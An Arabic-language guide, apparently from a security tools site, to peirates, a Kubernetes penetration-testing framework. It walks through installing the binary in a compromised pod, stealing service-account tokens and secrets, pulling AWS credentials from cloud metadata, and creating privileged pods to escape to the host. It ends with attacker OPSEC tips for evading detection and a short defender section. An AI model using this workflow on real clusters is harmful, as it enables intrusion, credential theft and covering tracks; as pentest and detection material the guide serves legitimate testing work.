اعرف اللي قصادك. احمي أرضك.

peirates

إطار عمل لاختراق بيئات Kubernetes، يتيح تنفيذ هجمات استقصاء وتصعيد صلاحيات من داخل حاوية مخترقة.

هجوممفتوحة المصدرLinux
github.com/inguardians/peirates

peirates — الدليل الكامل لاختبار اختراق Kubernetes

تُعد أداة peirates (من تطوير InGuardians) إطار عمل متطوراً مخصصاً لاختبار اختراق بيئات Kubernetes. بمجرد الحصول على موطئ قدم داخل حاوية (Pod)، تقوم الأداة بأتمتة عمليات تعداد الرموز (Token Enumeration)، وهجمات تحليل حواف RBAC، واستخراج الأسرار (Secrets Extraction)، وإساءة استخدام Kubelet، والهروب من الحاويات (Pod Escapes). يمكن وصفها بأنها أداة Pacu ولكن لبيئات Kubernetes.

التثبيت (Install)

يتم رفع الملف الثنائي (Static Binary) مباشرة إلى الحاوية المخترقة:

# من جهة المهاجم: بناء أو تحميل الأداة
$ go install github.com/inguardians/peirates@latest
$
# أو تحميل نسخة جاهزة:
$ wget https://github.com/inguardians/peirates/releases/latest/download/peirates -O /tmp/peirates
$ chmod +x /tmp/peirates

يفضل نقل الأداة عبر Web Shell أو استخدام أمر kubectl cp إذا كان الوصول متاحاً بالفعل.

التشغيل (Run)

$ ./peirates

سيتم تحميل قائمة تفاعلية. تقوم الأداة تلقائياً بقراءة رمز حساب الخدمة (Service Account Token) من المسار الافتراضي: /var/run/secrets/kubernetes.io/serviceaccount/token.

مجموعات القائمة (Menu groups)

النطاقالمجموعة
0–9تعداد الحاويات والرموز (Pod / token enumeration)
10–19عمليات RBAC، وسرقة ملفات الإعداد والأسرار
20–29التحكم في الحاويات (Pods) وعمليات النشر (Deployments)
30–39هجمات Kubelet
40–49الانتقال إلى بيانات ميتادات السحابة (Cloud Metadata Pivot)
50–59ضمان البقاء (Persistence)
60+متنوع

قد تتغير أرقام القائمة بين الإصدارات — استخدم ? دائماً لعرض القائمة الحالية.

عمليات عالية القيمة (High-value actions)

الخيارالتأثير
1 — get pod listعرض الحاويات النشطة في العنقود (Cluster)
2 — get nodesعرض العقد (Nodes) المكونة للعنقود
4 — token from a pod's SAسرقة رمز حساب الخدمة من حاوية أخرى (في نفس النطاق، إذا سمح RBAC)
7 — list secretsاستخراج أسرار Kubernetes
9 — get cloud metadataالوصول إلى IMDS — غالباً للحصول على صلاحيات AWS
13 — RBAC attack — escalateمحاولة تنفيذ مسارات تصعيد الصلاحيات المعروفة
20 — exec on a podتنفيذ أوامر داخل حاوية (شبيه بـ kubectl exec)
21 — create privileged podإنشاء حاوية ذات صلاحيات مرتفعة للهروب إلى المضيف (Host)
30 — kubelet abuseالتواصل مع واجهة برمجة تطبيقات kubelet (منفذ 10250) مباشرة
45 — find AWS credentialsالبحث عن بيانات اعتماد AWS في متغيرات البيئة أو الأسرار
99 — drop to shellالخروج من القائمة التفاعلية

سير العمل (Workflows)

الخطوات القياسية بعد اختراق حاوية

$ ./peirates
$ peirates> 1 # عرض الحاويات — ما الذي يمكنني رؤيته؟
$ peirates> 7 # هل توجد أسرار قابلة للقراءة؟
$ peirates> 9 # الحصول على رموز ميتادات السحابة
$ peirates> 21 # إنشاء حاوية بصلاحيات مرتفعة — تقوم تلقائياً بتركيب (Mount) جذر المضيف

إنشاء حاوية "خبيثة" بصلاحيات مرتفعة (الخيار 21)

تقوم الأداة بتوليد ملف تعريف (Manifest) يستخدم خصائص hostPID/hostNetwork: true و privileged: true مع تركيب جذر المضيف في المسار /host. بعد التشغيل، يمكنك الدخول للحاوية وتنفيذ chroot /host للوصول الكامل للمضيف.

الهروب عبر Kubelet (الخيار 30)

إذا كان Kubelet على العقدة يسمح بـ anonymous-auth=true أو يقبل رمز حساب الخدمة الخاص بك، تتيح لك الأداة عرض الحاويات وتشغيل الأوامر عليها عبر نقطة النهاية /run/ متجاوزة بذلك بعض قيود RBAC.

الانتقال إلى السحابة (الخيار 9)

peirates> 9
[+] Reaching IMDSv1...
[+] Got AWS creds:
    AccessKeyId: ASIA...
    SecretAccessKey: ...
    Token: ...
[+] Saved to env. Use 'aws ...' from this shell.

النتائج المتوقعة (Good output)

peirates> 1
[+] Listing pods:
NAMESPACE  NAME           STATUS
default    web-0          Running
kube-system  metrics-server Running

peirates> 7
[+] Listing secrets:
default/my-app-db-creds
[+] Reading default/my-app-db-creds:
DB_USER: appuser
DB_PASS: SuperSecret1!

الأخطاء الشائعة وحلولها (Bad output / fixes)

العرضالحل
forbidden: ... cannot list podsقيود RBAC تمنع ذلك — استخدم auth can-i أولاً لمعرفة المسموح
connection refused للـ apiserverسياسة شبكة أو مشكلة DNS — جرب استخدام عنوان IP الخاص بالعنقود مباشرة
فشل إنشاء حاوية ذات صلاحياتتفعيل PodSecurityAdmission أو OPA — حاول الهروب بصلاحيات أقل (hostPath فقط)
ميتادات السحابة لا تعيد نتائجتفعيل IMDSv2 مع تقييد hop-limit — هجمات SSRF تتطلب ترويسة PUT

منظور المدافع الأمني (Defender's Perspective)

يمكن اكتشاف نشاط الأداة بسهولة عبر:

  • سجلات التدقيق (Audit Logs): مراقبة طلبات pods/exec و pods/create الصادرة من حسابات خدمة الحاويات.
  • الحاويات المشبوهة: رصد أي حاوية جديدة تقوم بتركيب المسار hostPath: /.
  • سلوك الأسرار: رصد عمليات secrets get المكثفة من حساب خدمة ذو صلاحيات منخفضة.

أفكار للاكتشاف:

  • استخدام قواعد Falco: رصد فتح Shell داخل حاوية أو إنشاء حاوية بـ hostPath.
  • تنبيهات سجل التدقيق: أي حساب خدمة يحاول إنشاء حاوية ذات صلاحيات (Privileged Pod).
  • تفعيل سياسات الشبكة (Network Policy) بنمط Deny-all لمنع الحاويات من التواصل مع apiserver إلا للضرورة.

أمن العمليات (OPSEC)

  • ارفع الملف الثنائي في مسار /tmp فقط، وقم بحذفه فور الانتهاء.
  • عمليات تصعيد الصلاحيات تترك أثراً واضحاً في السجلات. استخدم الأداة للاستطلاع (Enumeration) وقم بالتصعيد يدوياً وبحذر.
  • تذكر أن رموز حسابات الخدمة المسروقة يمكن تتبعها جنائياً؛ فكر في إنشاء حاوية جديدة لاستخدامها كقاعدة ارتكاز بدلاً من الاعتماد الكلي على الحاوية الأصلية المخترقة.
الأداةالتخصص
kubeletctlإساءة استخدام Kubelet بشكل خاص
botb (Break Out The Box)نماذج استغلال للهروب من الحاويات
deepceتعداد مسارات تصعيد الصلاحيات داخل الحاويات
kube-hunterمسح Kubernetes بحثاً عن ثغرات قبل المصادقة
Pacuإطار عمل لاستغلال بيئات AWS (مكمل لعمليات ما بعد اختراق العنقود)